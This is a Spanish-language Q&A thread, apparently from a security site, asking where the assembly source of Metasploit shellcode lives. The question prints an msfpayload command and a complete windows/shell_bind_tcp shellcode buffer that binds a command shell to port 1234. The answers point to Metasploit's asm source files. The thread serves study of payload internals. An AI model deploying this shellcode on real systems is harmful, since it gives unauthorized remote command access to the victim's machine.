código fuente de las cargas útiles de metasploit (shellcodes)

5

¿Hay alguna manera de ver un código fuente de códigos de shell metasploit?

Por ejemplo:

root@kali:~# msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 C
/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=1234, RHOST=, EXITFUNC=seh, 
 * InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x31\xdb\x53\x68\x02\x00\x04\xd2\x89\xe6\x6a\x10\x56\x57\x68"
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"
"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"
"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xfe\x0e\x32\xea"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

¿Hay una manera de ver un código fuente (C o ensamblaje) de búfer (shellcode)? O quizás una herramienta que puede obtener como búfer de parámetros y código de retorno.

¡Muchas gracias por la ayuda!

    
pregunta Farseer 28.09.2014 - 15:02
fuente

2 respuestas

6

El código fuente de shellcode Metasploit se puede encontrar en el directorio external / source / shellcode / windows / x86 / folder. Dependiendo del tipo de shellcode, el archivo asm se coloca en subcarpetas separadas. Por ejemplo, el código fuente de shellcode windows / shell_bind_tcp se encuentra en la ubicación:

source/shellcode/windows/x86/src/single/single_shell_bind_tcp.asm

Si observa los contenidos del archivo, se refiere a otros archivos que se incluyen en el archivo fuente principal shell_bind_tcp.asm. El primer archivo incluido en el archivo shell_bind_tcp.asm es el archivo block_api.asm, donde se encuentra la lógica principal de configurar el entorno para ejecutar el código de shell. La línea de inclusión tiene el siguiente aspecto:

%include "./src/block/block_api.asm"

El siguiente bloque incluido es el de block_tcp que configura el transporte TCP, luego la lógica de ExitFunction a través de (irónicamente) exit_funk.asm.

Echa un vistazo a Modificación del código de código de Stager de Metasploit en la publicación de Raphael Mudge sobre cómo editar y luego compilar el código de shell modificado. Los archivos de origen del código de shell están documentados para que pueda seguir fácilmente lo que está sucediendo en las instrucciones de ensamblaje.

    
respondido por el void_in 28.09.2014 - 21:52
fuente
3

Nuestro plan es migrar la mayoría de los stagers de Windows a Metasm, por lo que el código fuente se está moviendo a varios mixins en lugar de archivos de ensamblaje estáticos. Por ejemplo, reverse_http (s) ahora se implementa en enlace

    
respondido por el HD Moore 28.04.2015 - 18:38
fuente

Lea otras preguntas en las etiquetas